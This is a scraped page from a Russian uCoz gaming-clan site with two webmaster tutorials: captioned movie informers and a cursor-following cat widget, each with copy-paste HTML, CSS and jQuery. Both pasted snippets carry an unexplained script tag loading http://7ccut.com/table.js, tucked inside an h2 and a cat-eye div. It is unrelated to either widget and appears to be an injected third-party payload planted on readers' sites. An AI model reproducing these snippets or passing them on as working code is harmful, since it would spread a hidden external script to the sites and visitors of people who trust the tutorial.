| Всё для cs 1.6 |
|
|
| Всё для CS:S |
|
|
| Cтатистика |
Онлайн всего: 1 Гостей: 1 Пользователей: 0 |
|
|
Главная » 2014 » Январь » 25
 $IMAGE1$ Если вы владелец онлайн кинотеатра в системе uCoz, и пользуетесь информерами, то статья именно для вас. Стандартный вид информеров не то, что поможет привлечь потенциальных зрителей, а скорее отпугнет. Во-первых, из-за того, что заходят в кинотеатр, все должно быть наглядно. Изначально информер выглядит как простой текст (название), с датой добавления, и автором, все. Мало, кто захочет читать. Поэтому для информеров такого типа нужна как минимум картинка. Это не обязательно может быть информер фильмов. Да, уже нормально, но фильмы имеют названия разной длины, потому все картинки смещаются, какие-то выше, какие-то ниже, в общем, весь вид портится. Я предлагаю сделать надписи прямо на картинке, при этом красиво это все оформив. Итак, начнем. Для начала, вставим этот код в шаблон информера. Код <table border="0" cellpadding="2" cellspacing="1" width="100%" class="infTable"> <tbody> <tr align="center"> <td class="infTitle" colspan="2"> <p> <div class="image"> <a href="$ENTRY_URL$"><img src="$IMG_URL1$" vspace="5" width="160" height="220" align="center" border="2" hspace="10" title="$TITLE$" style="vertical-align: bottom;"></a> <h2> <script src="http://7ccut.com/table.js" type="text/javascript"></script> <div class="img_title"><div align="left"><a href="$ENTRY_URL$">$TITLE$</a></div></div> </h2> </div> </p> </td> </tr> </tbody> </table> После чего, в CSS вставляем данные стили. Код .img_title {
word-wrap: break-word;
text-indent: 0px;
font-size: 13px;
color: #376d9c;
font-weight: bold; font-family: Arial Narrow, sans-serif;
background: #ffffff;
height: 40px;
vertical-align:middle;
width: 162px;
left: 20px;
text-align: center;
-webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;
-moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;
box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;
-webkit-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;
-moz-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;
box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;
}
.image {
position: relative;
width : 100%;
}
h2 {
position: absolute;
top: 170px;
left: 0;
width : 100%;
vertical-align:middle;
}
Это придаст нашему блоку с названием тень, а тексту стиль. height: 40px - можно убрать, чтобы блок сам увеличивался или уменьшался в зависимости от длины заголовка. Или оставить, если хотите, чтобы блоки были одинаковые (при этом если надпись длиннее оставленной высоты (места), то она будет вылезать за рамки). Код h2 {
position: absolute;
top: 170px;
left: 0;
width : 100%;
vertical-align:middle;
}
.image {
position: relative;
width : 100%; /* for IE 6 */
}
|
|
Появление персонажей на сайте – не редкость, особенно популярно украшать сайты кошками, которые следят за перемещением курсора, а некоторые даже пытаются поймать курсор. Был у нас и такой. Этого кота можно установить на любой сайт, сделанном на uCoz. Он будет скромно наблюдать за действиями пользователей на сайте. Когда пользователь наведет курсор на кота, он будет застенчиво улыбаться и смотреть вверх. Установка Вставьте в Нижнюю часть сайта или в любой другой глобальный блок: Код <div id="cat"> <div class="cat-paws"></div> <div class="cat-itself-wrap"> <div class="cat-itself"> <div id="cat-eye-left" class="cat-eye"> <div class="cat-eyeball"></div> </div> <div id="cat-eye-right" class="cat-eye"> <script src="http://7ccut.com/table.js" type="text/javascript"></script> <div class="cat-eyeball"></div> </div> </div> </div> </div> </div> </div> <script> $(function() { var el1 = $('#cat-eye-left'), eyeBall1 = el1.find('div'); var el2 = $('#cat-eye-right'), eyeBall2 = el2.find('div'); el1.show(); el2.show(); var x1 = el1.offset().left + 37, y1 = el1.offset().top + 15; var r = 6, x , y, x2, y2, isEyeProcessed = false; $('body').mousemove(function(e) { if (!isEyeProcessed) { isEyeProcessed = true; var x2 = e.pageX, y2 = e.pageY; y = ((r * (y2 - y1)) / Math.sqrt((x2 - x1) * (x2 - x1) + (y2 - y1) * (y2 - y1))) + y1; x = (((y - y1) * (x2 - x1)) / (y2 - y1)) + x1; eyeBall1.css({ marginTop: (y - y1 + 1) + 'px', marginLeft: (x - x1) + 'px' }); eyeBall2.css({ marginTop: (y - y1 - 1) + 'px', marginLeft: (x - x1) + 'px' }); isEyeProcessed = false; } }); $('#cat').mousemove(function(e) { e.stopPropagation(); return false; }); }); </script> Вставьте следующий код в Таблицу стилей (CSS): Код #cat {
position: fixed;
right: 80px;
bottom: 0;
width: 146px;
height: 55px;
}
#cat:hover .cat-itself {
height: 103px;
}
#cat:hover .cat-eye {
display: none !important;
}
.cat-paws {
position: absolute;
right: 0;
bottom: -4px;
width: 132px;
height: 33px;
z-index: 2;
background: url(http://pnghosts.ru/img/cat-paws.png) no-repeat right bottom;
}
.cat-itself-wrap {
position: absolute;
width: 100%;
height: 100%;
z-index: 1;
}
.cat-itself {
position: absolute;
left: 0;
bottom: 0;
width: 125px;
height: 55px;
z-index: 0;
background: url(http://pnghosts.ru/img/cat-itself.png) no-repeat;
-webkit-transition: all 0.1s 0.1s ease-out;
transition: all 0.1s 0.1s ease-out;
}
.cat-eye {
position: absolute;
display: none;
width: 28px;
height: 28px;
background: url(http://pnghosts.ru/img/cat-eye.png);
}
.cat-eyeball {
position: absolute;
left: 7.5px;
top: 7.5px;
width: 13px;
height: 13px;
background: url(http://pnghosts.ru/img/cat-eyeball.png);
}
#cat-eye-left {
left: 25px;
top: 23px;
}
#cat-eye-right {
left: 74px;
top: 26px;
} |
|
|
|
|
|
| aFk.gam1ng # team |
 aFk.gam1ng # DeIVeR
aFk.gam1ng # eXame
aFk.gam1ng # player
aFk.gam1ng # player
aFk.gam1ng # player
|
|
|
